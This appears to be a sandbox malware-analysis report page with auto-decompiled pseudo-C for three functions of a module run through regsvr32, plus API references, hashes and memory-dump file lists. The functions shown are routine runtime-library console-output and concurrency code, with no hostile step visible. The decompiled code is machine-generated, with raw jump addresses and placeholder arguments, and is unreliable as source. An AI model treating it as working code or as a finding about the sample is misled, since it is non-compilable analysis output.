Instruction Fuzzy Hash: 5311EC30E4A70746FE6C6632585E27A19425FC5F60F264B38E93F0A7F2ED2CB441B205

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F0958 Relevance: 6.3, APIs: 4, Instructions: 305
fileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00007FFE7FFE354F0958(void* __ecx, signed int __edx, void* __esi, void* __ebp, void* __esp, long long __rbx, long long* __rcx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t180;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t188;
				long _t194;
				signed char _t200;
				void* _t203;
				void* _t239;
				signed long long _t240;
				signed long long _t243;
				long long _t245;
				signed long long _t248;
				long long _t263;
				intOrPtr* _t264;
				long long _t265;
				long long* _t276;
				signed long long _t280;
				intOrPtr _t282;
				signed int _t290;
				intOrPtr _t323;
				signed char* _t330;
				signed char* _t331;
				signed char* _t332;
				signed char* _t333;
				intOrPtr* _t334;
				void* _t335;
				void* _t336;
				signed long long _t337;
				signed int _t340;
				signed long long _t342;
				void* _t344;
				intOrPtr* _t346;
				intOrPtr _t350;
				signed long long _t355;
				signed long long _t358;
				signed long long _t360;
				void* _t363;
				long long _t364;
				long long _t366;
				char _t367;
				signed char* _t372;
				signed long long _t374;

				_t202 = __edx;
				_t239 = _t336;
				_t335 = _t239 - 0x57;
				_t337 = _t336 - 0xe0;
				 *((long long*)(_t335 - 9)) = 0xfffffffe;
				 *((long long*)(_t239 + 8)) = __rbx;
				_t240 =  *0x3555e008; // 0x77c614500e1
				 *(_t335 + 0x17) = _t240 ^ _t337;
				 *((long long*)(_t335 - 0x49)) = __r8;
				_t276 = __rcx;
				_t366 =  *((intOrPtr*)(_t335 + 0x7f));
				 *((long long*)(_t335 - 0x51)) = _t366;
				 *(_t335 - 0x19) = __edx;
				_t243 = __edx >> 6;
				 *(_t335 - 0x59) = _t243;
				_t280 = __edx & 0x0000003f;
				 *(_t335 - 0x11) = _t280;
				_t374 = _t280 + _t280 * 8;
				_t245 =  *((intOrPtr*)( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t243 * 8)) + 0x28 + _t374 * 8));
				 *((long long*)(_t335 - 0x29)) = _t245;
				r12d = r9d;
				_t364 = _t363 + __r8;
				 *((long long*)(_t335 - 0x71)) = _t364;
				GetConsoleOutputCP();
				 *((long long*)(_t335 - 0x61)) = _t245;
				if ( *((intOrPtr*)(_t366 + 0x28)) != dil) goto 0x354f09f8;
				0x354e9140();
				_t282 =  *((intOrPtr*)(_t366 + 0x18));
				r8d =  *(_t282 + 0xc);
				 *(_t335 - 0x5d) = r8d;
				 *__rcx = 0;
				 *((long long*)(__rcx + 8)) = 0;
				if ( *((intOrPtr*)(_t335 - 0x49)) - _t364 >= 0) goto 0x354f0db8;
				_t248 = __edx >> 6;
				 *(_t335 - 0x21) = _t248;
				 *((char*)(_t337 + 0x40)) =  *((intOrPtr*)(__r8));
				 *((long long*)(_t335 - 0x7d)) = 0;
				r12d = 1;
				if (r8d != 0xfde9) goto 0x354f0bc0;
				_t346 = 0x3e + _t374 * 8 +  *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t248 * 8));
				if ( *_t346 == dil) goto 0x354f0a74;
				if (1 - 5 < 0) goto 0x354f0a61;
				if (1 == 0) goto 0x354f0b52;
				r12d =  *((char*)(_t282 + 0x7ffe3555e8f0));
				r12d = r12d + 1;
				 *((long long*)(_t335 - 0x69)) =  *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 +  *(_t335 - 0x59) * 8)) - 1;
				_t340 = r12d;
				if (_t340 -  *((intOrPtr*)(_t335 - 0x71)) - __r8 > 0) goto 0x354f0d27;
				 *((char*)(_t335 + 0xffffffffffffffff)) =  *_t346;
				if (1 - 1 < 0) goto 0x354f0ab9;
				if (_t340 <= 0) goto 0x354f0aea;
				_t180 = E00007FFE7FFE354E64D0( *( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 +  *(_t335 - 0x59) * 8)) + 0x3e + _t374 * 8) & 0x000000ff, _t203, __esi, __esp, _t335 - 1 + 1, __r8, 0, __r8, _t340);
				 *( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 +  *(_t335 - 0x59) * 8)) + 0x3e + _t374 * 8) = dil;
				if (1 - 1 < 0) goto 0x354f0aed;
				 *((long long*)(_t335 - 0x41)) = 0;
				 *((long long*)(_t335 - 0x39)) = _t335 - 1;
				_t181 = _t180 & 0xffffff00 | r12d == 0x00000004;
				r12d = _t181;
				r8d = _t181;
				 *((long long*)(_t337 + 0x20)) = _t366;
				_t182 = E00007FFE7FFE354F1744(1, _t276, _t335 - 0x7d, _t335 - 0x39, _t340, _t335 - 0x41);
				if (1 == 0xffffffff) goto 0x354f0db8;
				_t290 = _t182;
				_t330 = __r8 + _t290;
				goto 0x354f0c55;
				_t367 =  *((char*)(( *_t330 & 0x000000ff) + 0x7ffe3555e8f0));
				_t342 =  *((intOrPtr*)(_t335 - 0x71)) - _t330;
				if (_t367 + 1 - _t342 > 0) goto 0x354f0d55;
				 *((long long*)(_t335 - 0x69)) = 0;
				 *(_t335 - 0x31) = _t330;
				_t183 = _t182 & 0xffffff00 | _t290 == 0x00000004;
				r14d = _t183;
				r8d = _t183;
				_t263 =  *((intOrPtr*)(_t335 - 0x51));
				 *((long long*)(_t337 + 0x20)) = _t263;
				E00007FFE7FFE354F1744(_t263, _t276, _t335 - 0x7d, _t335 - 0x31, _t342, _t335 - 0x69);
				if (_t263 == 0xffffffff) goto 0x354f0db8;
				_t331 =  &(_t330[_t367]);
				r12d = r14d;
				goto 0x354f0c55;
				_t358 =  *(_t335 - 0x59);
				_t350 =  *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t358 * 8));
				_t200 =  *(_t350 + 0x3d + _t374 * 8);
				if ((_t200 & 0x00000004) == 0) goto 0x354f0bf7;
				 *((char*)(_t335 + 7)) =  *((intOrPtr*)(_t350 + 0x3e + _t374 * 8));
				 *((char*)(_t335 + 8)) =  *_t331;
				 *(_t350 + 0x3d + _t374 * 8) = _t200 & 0x000000fb;
				r8d = 2;
				goto 0x354f0c40;
				r8d =  *_t331 & 0x000000ff;
				_t264 =  *((intOrPtr*)( *((intOrPtr*)(_t335 - 0x51)) + 0x18));
				if ( *((intOrPtr*)( *_t264 + _t342 * 2)) - _t203 >= 0) goto 0x354f0c3a;
				_t372 =  &(_t331[1]);
				if (_t372 -  *((intOrPtr*)(_t335 - 0x71)) >= 0) goto 0x354f0d93;
				r8d = 2;
				E00007FFE7FFE354EE960(_t200 & 0x000000fb, __ebp, _t276, _t335 - 0x7d, _t331, 0, _t331, _t335, _t342,  *((intOrPtr*)(_t335 - 0x51)));
				if (_t264 == 0xffffffff) goto 0x354f0db8;
				_t332 = _t372;
				goto 0x354f0c55;
				_t188 = E00007FFE7FFE354EE960(_t200 & 0x000000fb, __ebp, _t276, _t335 - 0x7d, _t332, 0, _t332, _t335, _t364,  *((intOrPtr*)(_t335 - 0x51)));
				if (_t264 == 0xffffffff) goto 0x354f0db8;
				_t333 =  &(_t332[1]);
				 *((long long*)(_t337 + 0x38)) = 0;
				 *((long long*)(_t337 + 0x30)) = 0;
				 *((long long*)(_t337 + 0x28)) = 5;
				_t265 = _t335 + 0xf;
				 *((long long*)(_t337 + 0x20)) = _t265;
				r9d = r12d;
				_t344 = _t335 - 0x7d;
				E00007FFE7FFE354ED698();
				r14d = _t188;
				if (_t265 == 0) goto 0x354f0db8;
				 *((long long*)(_t337 + 0x20)) = 0;
				r8d = _t188;
				WriteFile(??, ??, ??, ??, ??);
				if (_t265 == 0) goto 0x354f0db0;
				 *((long long*)(_t276 + 4)) = _t333 -  *((intOrPtr*)(_t335 - 0x49)) +  *((intOrPtr*)(_t276 + 8));
				if ( *((intOrPtr*)(_t335 - 0x79)) - r14d < 0) goto 0x354f0db8;
				if ( *((char*)(_t337 + 0x40)) != 0xa) goto 0x354f0d10;
				 *((long long*)(_t337 + 0x20)) = 0;
				r8d = 0x2444896600000001;
				WriteFile(??, ??, ??, ??, ??);
				if (0xd == 0) goto 0x354f0db0;
				if ( *((long long*)(_t335 - 0x79)) - 1 < 0) goto 0x354f0db8;
				 *((long long*)(_t276 + 8)) =  *((long long*)(_t276 + 8)) + 1;
				 *((long long*)(_t276 + 4)) =  *((long long*)(_t276 + 4)) + 1;
				_t323 =  *((intOrPtr*)(_t276 + 4));
				if (_t333 -  *((intOrPtr*)(_t335 - 0x71)) >= 0) goto 0x354f0db8;
				r8d =  *(_t335 - 0x5d);
				goto 0x354f0a23;
				if (_t323 <= 0) goto 0x354f0d50;
				_t334 = _t333 - _t372;
				 *((char*)( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t358 * 8)) + _t372 + 0x3e + _t374 * 8)) =  *((intOrPtr*)(_t334 + _t372));
				if (_t203 - _t323 < 0) goto 0x354f0d2f;
				 *((intOrPtr*)(_t276 + 4)) =  *((intOrPtr*)(_t276 + 4)) + _t323;
				goto 0x354f0db8;
				if (_t344 <= 0) goto 0x354f0d8d;
				_t360 =  *(_t335 - 0x19) >> 6;
				_t355 =  *(_t335 - 0x11) +  *(_t335 - 0x11) * 8;
				 *((char*)( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t360 * 8)) + _t355 * 8 + 0x3f)) =  *((intOrPtr*)(1 + _t334));
				if (_t203 - _t344 < 0) goto 0x354f0d6d;
				 *((intOrPtr*)(_t276 + 4)) =  *((intOrPtr*)(_t276 + 4)) + r8d;
				goto 0x354f0db8;
				 *((char*)(_t355 + 0x3e + _t374 * 8)) =  *_t334;
				 *( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t360 * 8)) + 0x3d + _t374 * 8) =  *( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t360 * 8)) + 0x3d + _t374 * 8) | 0x00000004;
				 *((long long*)(_t276 + 4)) = 3;
				goto 0x354f0db8;
				_t194 = GetLastError();
				 *_t276 = 3;
				return E00007FFE7FFE354E3A70(_t194, _t200 & 0x000000fb, _t202,  *(_t335 + 0x17) ^ _t337);
			}

0x7ffe354f0958
0x7ffe354f0958
0x7ffe354f0966
0x7ffe354f096a
0x7ffe354f0971
0x7ffe354f0979
0x7ffe354f097d
0x7ffe354f0987
0x7ffe354f098e
0x7ffe354f0995
0x7ffe354f0998
0x7ffe354f099c
0x7ffe354f09a3
0x7ffe354f09aa
0x7ffe354f09ae
0x7ffe354f09b9
0x7ffe354f09bc
0x7ffe354f09c0
0x7ffe354f09cc
0x7ffe354f09d1
0x7ffe354f09d5
0x7ffe354f09d8
0x7ffe354f09db
0x7ffe354f09df
0x7ffe354f09e5
0x7ffe354f09ee
0x7ffe354f09f3
0x7ffe354f09f8
0x7ffe354f09fc
0x7ffe354f0a00
0x7ffe354f0a06
0x7ffe354f0a09
0x7ffe354f0a10
0x7ffe354f0a19
0x7ffe354f0a1d
0x7ffe354f0a25
0x7ffe354f0a29
0x7ffe354f0a2c
0x7ffe354f0a40
0x7ffe354f0a5b
0x7ffe354f0a64
0x7ffe354f0a72
0x7ffe354f0a77
0x7ffe354f0a8f
0x7ffe354f0a98
0x7ffe354f0aa0
0x7ffe354f0aaa
0x7ffe354f0ab0
0x7ffe354f0abc
0x7ffe354f0ac9
0x7ffe354f0ace
0x7ffe354f0ada
0x7ffe354f0af8
0x7ffe354f0b03
0x7ffe354f0b05
0x7ffe354f0b0d
0x7ffe354f0b17
0x7ffe354f0b1c
0x7ffe354f0b1f
0x7ffe354f0b22
0x7ffe354f0b33
0x7ffe354f0b3c
0x7ffe354f0b47
0x7ffe354f0b4a
0x7ffe354f0b4d
0x7ffe354f0b55
0x7ffe354f0b66
0x7ffe354f0b6f
0x7ffe354f0b75
0x7ffe354f0b79
0x7ffe354f0b82
0x7ffe354f0b87
0x7ffe354f0b8a
0x7ffe354f0b8d
0x7ffe354f0b91
0x7ffe354f0ba2
0x7ffe354f0bab
0x7ffe354f0bb1
0x7ffe354f0bb4
0x7ffe354f0bbb
0x7ffe354f0bc0
0x7ffe354f0bc4
0x7ffe354f0bcc
0x7ffe354f0bd4
0x7ffe354f0bdb
0x7ffe354f0be0
0x7ffe354f0be6
0x7ffe354f0beb
0x7ffe354f0bf5
0x7ffe354f0bf7
0x7ffe354f0bfb
0x7ffe354f0c07
0x7ffe354f0c09
0x7ffe354f0c11
0x7ffe354f0c1a
0x7ffe354f0c27
0x7ffe354f0c2f
0x7ffe354f0c35
0x7ffe354f0c38
0x7ffe354f0c47
0x7ffe354f0c4f
0x7ffe354f0c55
0x7ffe354f0c58
0x7ffe354f0c5d
0x7ffe354f0c62
0x7ffe354f0c6a
0x7ffe354f0c6e
0x7ffe354f0c73
0x7ffe354f0c76
0x7ffe354f0c7f
0x7ffe354f0c84
0x7ffe354f0c89
0x7ffe354f0c8f
0x7ffe354f0c98
0x7ffe354f0ca6
0x7ffe354f0cae
0x7ffe354f0cbc
0x7ffe354f0cc3
0x7ffe354f0cce
0x7ffe354f0cd9
0x7ffe354f0ce3
0x7ffe354f0cef
0x7ffe354f0cf7
0x7ffe354f0d01
0x7ffe354f0d07
0x7ffe354f0d0a
0x7ffe354f0d0d
0x7ffe354f0d14
0x7ffe354f0d1e
0x7ffe354f0d22
0x7ffe354f0d2a
0x7ffe354f0d2c
0x7ffe354f0d3e
0x7ffe354f0d4e
0x7ffe354f0d50
0x7ffe354f0d53
0x7ffe354f0d58
0x7ffe354f0d61
0x7ffe354f0d69
0x7ffe354f0d7c
0x7ffe354f0d8b
0x7ffe354f0d8d
0x7ffe354f0d91
0x7ffe354f0d95
0x7ffe354f0da2
0x7ffe354f0dab
0x7ffe354f0dae
0x7ffe354f0db0
0x7ffe354f0db6
0x7ffe354f0de1

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFE354F09DF
WriteFile.KERNEL32 ref: 00007FFE354F0CA6
WriteFile.KERNEL32 ref: 00007FFE354F0CEF
GetLastError.KERNEL32 ref: 00007FFE354F0DB0

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: d78e05eaa4b6556e9331e54f8ea1fb34517351267b85fce0062fd028625cc37f
Instruction ID: 1bdfe726e7952d9c14be3ba3ec23ff836597984db88fdb3c43b3a854655888a9
Opcode Fuzzy Hash: d78e05eaa4b6556e9331e54f8ea1fb34517351267b85fce0062fd028625cc37f
Instruction Fuzzy Hash: 0DD1E036B08B8289EB55CF79D4442AC3BB1FB94F98B154231CE5E57BA9CE38E406D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F129C Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00007FFE7FFE354F129C(void* __ebx, signed int __ecx, void* __ebp, void* __esp, void* __rax, void* __rcx, signed short* __rdx, void* __r8, signed int __r9, void* __r10) {
				short _v80;
				void* _v92;
				unsigned int _v96;
				long long _v104;
				long long _v108;
				long long _v112;
				signed int _v120;
				long long _v128;
				signed int _v136;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* _t99;
				void* _t105;
				void* _t113;
				void* _t114;
				void* _t117;
				intOrPtr _t122;
				void* _t145;
				signed long long _t159;
				long long _t162;
				signed long long _t166;
				signed long long _t171;
				signed long long _t175;
				signed long long _t202;
				void* _t207;
				long long _t209;
				long long _t210;
				void* _t212;
				void* _t228;
				signed long long _t229;
				signed short* _t230;
				void* _t231;
				signed short* _t232;

				_t114 = __ebx;
				r15d = r8d;
				_t171 = __r9;
				_t230 = __rdx;
				if (r8d == 0) goto 0x354f1599;
				if (__rdx != 0) goto 0x354f1303;
				 *((char*)(__r9 + 0x38)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__r9 + 0x34)) = _t122;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				r9d = 0;
				_v128 = __r9;
				_v136 = 0;
				_t99 = E00007FFE7FFE354E9674(__rax, __r9, 0, 0, _t207, _t212, __r8);
				goto 0x354f159b;
				_t175 = __ecx >> 6;
				_v120 = _t175;
				_t229 = (__ecx & 0x0000003f) + (__ecx & 0x0000003f) * 8;
				if (_t99 - 1 > 0) goto 0x354f1339;
				_t159 =  !(_t207 - 1);
				if ((r15d & 0x00000001) == 0) goto 0x354f12cc;
				if (( *( *((intOrPtr*)(0x3555f940 + _t175 * 8)) + 0x38 + _t229 * 8) & 0x00000020) == 0) goto 0x354f134f;
				r8d = 2;
				E00007FFE7FFE354F1E38(r12d);
				_t117 = r12d;
				_v96 = 0;
				E00007FFE7FFE354F16A0(_t117, _t159);
				if (_t159 == 0) goto 0x354f1485;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x3555f940 + _v120 * 8)) + 0x38 + _t229 * 8)) - dil >= 0) goto 0x354f1485;
				if ( *((intOrPtr*)(__r9 + 0x28)) != dil) goto 0x354f1396;
				0x354e9140();
				if ( *((intOrPtr*)( *((intOrPtr*)(__r9 + 0x18)) + 0x138)) != 0) goto 0x354f13b2;
				_t162 =  *((intOrPtr*)(0x3555f940 + _v120 * 8));
				if ( *((intOrPtr*)(_t162 + 0x39 + _t229 * 8)) == dil) goto 0x354f1485;
				GetConsoleMode(??, ??);
				if (_t162 == 0) goto 0x354f147a;
				if (sil == 0) goto 0x354f1457;
				sil = sil - 1;
				if (sil - 1 > 0) goto 0x354f151e;
				_t228 = _t230 + _t231;
				_v112 = 0;
				_t232 = _t230;
				if (_t230 - _t228 >= 0) goto 0x354f1514;
				_v80 =  *_t232 & 0x0000ffff;
				_t105 = E00007FFE7FFE354F1E40(_t117);
				if (_t105 != _t117) goto 0x354f1449;
				_t209 = _v108 + 2;
				_v108 = _t209;
				if (_t117 != 0xa) goto 0x354f143a;
				 *0xA17E80000001A =  *((intOrPtr*)(0xa17e80000001a)) + dil;
				if (_t105 != _t117) goto 0x354f1449;
				_t210 = _t209 + 1;
				_v108 = _t210;
				if ( &(_t232[1]) - _t228 >= 0) goto 0x354f1514;
				goto 0x354f13fa;
				GetLastError();
				_v112 = _t162;
				goto 0x354f1514;
				r9d = r15d;
				_v136 = __r9;
				E00007FFE7FFE354F0958(_t117, r12d,  *((char*)( *((intOrPtr*)(0x3555f940 + _t175 * 8)) + 0x39 + _t229 * 8)), __ebp, __esp, __r9,  &_v112, _t230);
				asm("movsd xmm0, [eax]");
				goto 0x354f1519;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x3555f940 + _v120 * 8)) + 0x38 + _t229 * 8)) - dil >= 0) goto 0x354f14e1;
				_t145 = sil;
				if (_t145 == 0) goto 0x354f14cd;
				if (_t145 == 0) goto 0x354f14b9;
				if (_t210 - 1 != 1) goto 0x354f1529;
				r9d = r15d;
				E00007FFE7FFE354F0EE8(_t114, r12d, _t162, _t171,  &_v112, _t212, _t230);
				goto 0x354f146e;
				r9d = r15d;
				E00007FFE7FFE354F1004(r12d, _t122, _t162, _t171,  &_v112, _t212, _t230);
				goto 0x354f146e;
				r9d = r15d;
				E00007FFE7FFE354F0DE4(_t114, r12d, _t162, _t171,  &_v112, _t212, _t230);
				goto 0x354f146e;
				r8d = r15d;
				_v136 = _v136 & 0;
				_v112 = 0;
				_v104 = 0;
				WriteFile(??, ??, ??, ??, ??);
				if (0 != 0) goto 0x354f1511;
				GetLastError();
				_v112 = 0;
				asm("movsd xmm0, [ebp-0x30]");
				asm("movsd [ebp-0x20], xmm0");
				if (_v96 >> 0x20 != 0) goto 0x354f1592;
				_t166 = _v96;
				if (_t166 == 0) goto 0x354f1568;
				if (_t166 != 5) goto 0x354f1558;
				 *((char*)(_t171 + 0x30)) = 1;
				 *((long long*)(_t171 + 0x2c)) = 9;
				 *((char*)(_t171 + 0x38)) = 1;
				 *(_t171 + 0x34) = _t166;
				goto 0x354f12fb;
				_t202 = _t171;
				_t113 = E00007FFE7FFE354EB3DC(_t117, _t202);
				goto 0x354f12fb;
				if (( *( *((intOrPtr*)(0x3555f940 + _t202 * 8)) + 0x38 + _t229 * 8) & 0x00000040) == 0) goto 0x354f157a;
				if ( *_t230 == 0x1a) goto 0x354f1599;
				 *(_t171 + 0x34) =  *(_t171 + 0x34) & 0x00000000;
				 *((char*)(_t171 + 0x30)) = 1;
				 *((long long*)(_t171 + 0x2c)) = 0x1c;
				 *((char*)(_t171 + 0x38)) = 1;
				goto 0x354f12fb;
				goto 0x354f159b;
				return _t113;
			}

0x7ffe354f129c
0x7ffe354f12b2
0x7ffe354f12b8
0x7ffe354f12bb
0x7ffe354f12c1
0x7ffe354f12ca
0x7ffe354f12cc
0x7ffe354f12d1
0x7ffe354f12d4
0x7ffe354f12da
0x7ffe354f12e1
0x7ffe354f12e9
0x7ffe354f12ec
0x7ffe354f12f1
0x7ffe354f12f6
0x7ffe354f12fe
0x7ffe354f1313
0x7ffe354f1317
0x7ffe354f131b
0x7ffe354f132e
0x7ffe354f1333
0x7ffe354f1337
0x7ffe354f133f
0x7ffe354f1346
0x7ffe354f134a
0x7ffe354f134f
0x7ffe354f1352
0x7ffe354f1356
0x7ffe354f1368
0x7ffe354f1377
0x7ffe354f1381
0x7ffe354f1386
0x7ffe354f13a1
0x7ffe354f13a3
0x7ffe354f13ac
0x7ffe354f13bf
0x7ffe354f13c7
0x7ffe354f13d0
0x7ffe354f13d6
0x7ffe354f13dd
0x7ffe354f13e3
0x7ffe354f13e7
0x7ffe354f13eb
0x7ffe354f13f1
0x7ffe354f1401
0x7ffe354f1405
0x7ffe354f1411
0x7ffe354f1413
0x7ffe354f1416
0x7ffe354f141d
0x7ffe354f1428
0x7ffe354f1431
0x7ffe354f1433
0x7ffe354f1435
0x7ffe354f1441
0x7ffe354f1447
0x7ffe354f1449
0x7ffe354f144f
0x7ffe354f1452
0x7ffe354f1457
0x7ffe354f145a
0x7ffe354f1469
0x7ffe354f146e
0x7ffe354f1475
0x7ffe354f148e
0x7ffe354f1492
0x7ffe354f1495
0x7ffe354f149a
0x7ffe354f149f
0x7ffe354f14a5
0x7ffe354f14b2
0x7ffe354f14b7
0x7ffe354f14b9
0x7ffe354f14c6
0x7ffe354f14cb
0x7ffe354f14cd
0x7ffe354f14da
0x7ffe354f14df
0x7ffe354f14ec
0x7ffe354f14ef
0x7ffe354f14f7
0x7ffe354f14fb
0x7ffe354f14fe
0x7ffe354f1506
0x7ffe354f1508
0x7ffe354f150e
0x7ffe354f1514
0x7ffe354f1519
0x7ffe354f1533
0x7ffe354f1535
0x7ffe354f153a
0x7ffe354f153f
0x7ffe354f1541
0x7ffe354f1545
0x7ffe354f154c
0x7ffe354f1550
0x7ffe354f1553
0x7ffe354f155b
0x7ffe354f155e
0x7ffe354f1563
0x7ffe354f1572
0x7ffe354f1578
0x7ffe354f157a
0x7ffe354f157e
0x7ffe354f1582
0x7ffe354f1589
0x7ffe354f158d
0x7ffe354f1597
0x7ffe354f15ab

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE354F123C), ref: 00007FFE354F13BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE354F123C), ref: 00007FFE354F1449

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: da2f82535048981fdee2fbb5626fefef0911d61da315dbd697428ec573955214
Instruction ID: e6fb0063158896328d82e0f2afa94a9a6bbd58db0f0c5a430a03ccf80db63772
Opcode Fuzzy Hash: da2f82535048981fdee2fbb5626fefef0911d61da315dbd697428ec573955214
Instruction Fuzzy Hash: 3991DD72A18B9385FB588B69C4482BD2FA0BF44F99F452136DE0F577A4CE38E481A710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1CE0 Relevance: 6.1, APIs: 4, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 47%

			E00007FFE7FFE354E1CE0(void* __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24) {
				signed long long _v16;
				long long _v24;
				signed long long _t46;
				intOrPtr* _t47;
				intOrPtr* _t49;
				signed long long _t52;
				intOrPtr _t62;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t46 = E00007FFE7FFE354E2250(__rax, _a8, _a16) & 0x000000ff;
				if (_t46 == 0) goto 0x354e1d3a;
				E00007FFE7FFE354E18F0(_t46, _a8);
				_t47 = _a16 - _t46;
				E00007FFE7FFE354E1DF0(_t47, _a8, _a8, _t47, _a24);
				goto 0x354e1de7;
				E00007FFE7FFE354E2170(_t47, _a8);
				_t62 =  *0x3555a228; // 0xffffffffffffffff
				_t49 = _t62 -  *_t47;
				if (_t49 - _a24 > 0) goto 0x354e1d65;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170(_t49, _a8);
				_v24 =  *_t49 + _a24;
				if (_a24 <= 0) goto 0x354e1de2;
				r8d = 0;
				_t52 = E00007FFE7FFE354E22B0( *_t49 + _a24, _a8, _v24) & 0x000000ff;
				if (_t52 == 0) goto 0x354e1de2;
				E00007FFE7FFE354E18F0(_t52, _a8);
				_v16 = _t52;
				E00007FFE7FFE354E2170(_t52, _a8);
				E00007FFE7FFE354E11E0(_v16 +  *_t52, _a16, _a24);
				return E00007FFE7FFE354E23A0(_v16 +  *_t52, _a8, _v24);
			}

0x7ffe354e1ce0
0x7ffe354e1ce5
0x7ffe354e1cea
0x7ffe354e1d02
0x7ffe354e1d07
0x7ffe354e1d0e
0x7ffe354e1d1b
0x7ffe354e1d30
0x7ffe354e1d35
0x7ffe354e1d3f
0x7ffe354e1d47
0x7ffe354e1d51
0x7ffe354e1d59
0x7ffe354e1d60
0x7ffe354e1d6a
0x7ffe354e1d77
0x7ffe354e1d82
0x7ffe354e1d84
0x7ffe354e1d96
0x7ffe354e1d9b
0x7ffe354e1da2
0x7ffe354e1da7
0x7ffe354e1db1
0x7ffe354e1dce
0x7ffe354e1deb

APIs

Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E226B
Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E227C

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1D0E

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Part of subcall function 00007FFE354E1DF0: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E1E56
Part of subcall function 00007FFE354E1DF0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1E98
Part of subcall function 00007FFE354E1DF0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1EAC
Part of subcall function 00007FFE354E1DF0: char_traits.LIBCPMTD ref: 00007FFE354E1EDB

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E1D60
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1DA2
char_traits.LIBCPMTD ref: 00007FFE354E1DCE

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

